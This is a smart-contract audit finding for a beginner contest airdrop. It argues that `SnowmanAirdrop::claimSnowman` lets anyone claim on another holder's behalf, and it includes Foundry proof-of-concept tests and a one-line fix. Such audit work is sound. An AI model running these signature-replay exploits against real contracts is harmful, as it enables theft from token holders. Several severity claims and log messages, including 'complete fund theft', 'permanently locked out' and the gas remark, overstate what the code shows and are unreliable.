Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
Submission Details
Impact: high
Likelihood: high

`SnowmanAirdrop::claimSnowman` Function Allows Unauthorized Token Transfers

Author Revealed upon completion

Root + Impact

Description

The `claimSnowman` function contains a critical authorization vulnerability where any user can claim `snowman` tokens on behalf of another address without proper ownership verification. The function accepts a `receiver` parameter and performs all validations against this receiver address, but fails to verify that `msg.sender` is authorized to act on behalf of the `receiver`.This allows malicious actors to drain tokens from any address that holds SNOW tokens, provided they can obtain or forge the required signature and merkle proof.
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
revert SA__InvalidSignature();
}
uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
//q who is the receiver?
//@audit the receiver should have been the msg.sender
@> i_snow.safeTransferFrom(receiver, address(this), amount); // send tokens to contract... akin to burning
s_hasClaimedSnowman[receiver] = true;
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}

Risk

Likelihood:

  • 1. Signature Interception/Reuse

    • Likelihood: Very High

    • Users sign messages for legitimate claims

    • Signatures are often transmitted via:

      • Frontend applications (JavaScript vulnerabilities)

      • API calls (network interception)

      • Mobile apps (local storage access)

      • Browser extensions (malicious or compromised)

    2. Social Engineering

    • Likelihood: High

    • Attacker tricks users into signing messages

    • "Sign this to verify your eligibility"

    • Users don't understand they're authorizing token transfers

    • Phishing sites that collect signatures

Impact:

- High Severity: Complete fund theft vulnerability
- Unauthorized token transfers: Attackers can transfer SNOW tokens from any holder's address to the contract (effectively burning them)
- Loss of user funds: Victims lose their SNOW token balance without consent
- Broken access control: The function bypasses intended authorization mechanisms
- Protocol exploitation: Malicious actors can mint snowman NFTs using other users' tokens

Proof of Concept

1. Alice holds 1 SNOW tokens in her wallet
2. Bob (attacker) calls `claimSnowman(alice_address, merkleProof, v, r, s)` with Alice's address as `receiver`
3. If Bob can provide valid signature and merkle proof for Alice's address:
- Function validates Alice's balance (1 SNOW)
- Function validates signature for Alice's address
- Function validates merkle proof for Alice's address
- Function transfers Alice's 1 SNOW tokens to the contract
- Function mints snowman NFT to Alice's address
- Alice loses her SNOW tokens without initiating the transaction
//Run the tests in `TestSnowmanAirdrop.t.sol`:
contract TestSnowmanAirdrop is Test {
//.. rest of state variables
address attacker;
function setUp() public {
//..rest of inits
(alice, alKey) = makeAddrAndKey("alice");
(bob, bobKey) = makeAddrAndKey("bob");
// ..rest of inits
attacker = makeAddr("attacker"); //init attacker address
}
function testExploit_AttackerStealsAliceTokens() public {
// === SETUP ATTACK TARGET ===
// Alice has 1 SNOW token and has approved the airdrop contract
vm.prank(alice);
snow.approve(address(airdrop), 1);
// === BEFORE ATTACK ===
uint256 aliceBalanceBefore = snow.balanceOf(alice);
uint256 attackerBalanceBefore = snow.balanceOf(attacker);
uint256 contractBalanceBefore = snow.balanceOf(address(airdrop));
console2.log("\n=== BEFORE EXPLOIT ===");
console2.log("Alice SNOW balance:", aliceBalanceBefore);
console2.log("Attacker SNOW balance:", attackerBalanceBefore);
console2.log("Contract SNOW balance:", contractBalanceBefore);
console2.log("Alice NFT balance:", nft.balanceOf(alice));
// === PREPARE EXPLOIT ===
// 1. Get Alice's message hash (what she would normally sign)
bytes32 aliceDigest = airdrop.getMessageHash(alice);
// 2. Alice signs her own message (normal behavior)
(uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, aliceDigest);
// === EXECUTE EXPLOIT ===
console2.log("\n=== EXECUTING EXPLOIT ===");
console2.log(" Attacker calling claimSnowman with Alice's address and signature...");
// CRITICAL VULNERABILITY: Attacker can use Alice's signature to steal her tokens!
// The function will validate Alice's signature but transfer HER tokens to the contract
vm.prank(attacker);
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
// === AFTER ATTACK ===
uint256 aliceBalanceAfter = snow.balanceOf(alice);
uint256 attackerBalanceAfter = snow.balanceOf(attacker);
uint256 contractBalanceAfter = snow.balanceOf(address(airdrop));
console2.log("\n=== AFTER EXPLOIT ===");
console2.log("Alice SNOW balance:", aliceBalanceAfter);
console2.log("Attacker SNOW balance:", attackerBalanceAfter);
console2.log("Contract SNOW balance:", contractBalanceAfter);
console2.log("Alice NFT balance:", nft.balanceOf(alice));
// === VERIFY EXPLOIT SUCCESS ===
// Alice lost her SNOW token
assertEq(aliceBalanceAfter, 0, "Alice should have lost her SNOW token");
// Contract received Alice's stolen token
assertEq(contractBalanceAfter, 1, "Contract should have received Alice's token");
// Alice received snowman NFT (but lost her token!)
assertEq(nft.balanceOf(alice), 1, "Alice should have received snowman NFT");
// Attacker didn't spend any of their own tokens
assertEq(attackerBalanceAfter, attackerBalanceBefore, "Attacker balance should be unchanged");
// Alice's claim is now marked as used
// assertTrue(airdrop.s_hasClaimedSnowman(alice), "Alice's claim should be marked as used");
console2.log("\n=== EXPLOIT SUCCESSFUL ===");
console2.log("Alice lost 1 SNOW token");
console2.log("Attacker spent 0 of their own tokens");
console2.log("Alice cannot claim again (marked as claimed)");
console2.log("Alice's token effectively burned (sent to contract)");
console2.log("Attacker used Alice's own signature against her");
}
function testExploit_MultipleVictimAttack() public {
// Setup multiple victims
vm.prank(alice);
snow.approve(address(airdrop), 1);
vm.prank(bob);
snow.approve(address(airdrop), 1);
vm.prank(clara);
snow.approve(address(airdrop), 1);
console2.log("\n=== MASS EXPLOIT TEST ===");
console2.log("Initial total SNOW tokens in circulation:", snow.balanceOf(alice) + snow.balanceOf(bob) + snow.balanceOf(clara));
// Attacker steals from Alice
bytes32 aliceDigest = airdrop.getMessageHash(alice);
(uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, aliceDigest);
vm.prank(attacker);
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
// Attacker steals from Bob
bytes32 bobDigest = airdrop.getMessageHash(bob);
(uint8 bobV, bytes32 bobR, bytes32 bobS) = vm.sign(bobKey, bobDigest);
vm.prank(attacker);
airdrop.claimSnowman(bob, BOB_PROOF, bobV, bobR, bobS);
// Attacker steals from Clara
bytes32 claraDigest = airdrop.getMessageHash(clara);
(uint8 clV, bytes32 clR, bytes32 clS) = vm.sign(clKey, claraDigest);
vm.prank(attacker);
airdrop.claimSnowman(clara, CL_PROOF, clV, clR, clS);
// Verify mass theft
assertEq(snow.balanceOf(alice), 0, "Alice should have lost her token");
assertEq(snow.balanceOf(bob), 0, "Bob should have lost his token");
assertEq(snow.balanceOf(clara), 0, "Clara should have lost her token");
assertEq(snow.balanceOf(address(airdrop)), 3, "Contract should have all stolen tokens");
console2.log("MASS EXPLOIT SUCCESSFUL:");
console2.log("3 victims robbed of their SNOW tokens");
console2.log("All victims permanently locked out");
console2.log("Attacker spent 0 gas for victims' transactions");
}
}

Recommended Mitigation

Add explicit authorization check at the custom errors checkpoint:

contract SnowmanAirdrop is EIP712, ReentrancyGuard {
using SafeERC20 for Snow;
// >>> ERRORS
+ error SA__UnauthorizedCall();
//.. rest of custom errors..
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
+ if (msg.sender != receiver) { revert SA__UnauthorizedCall();}
//.. rest of function logic
}
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.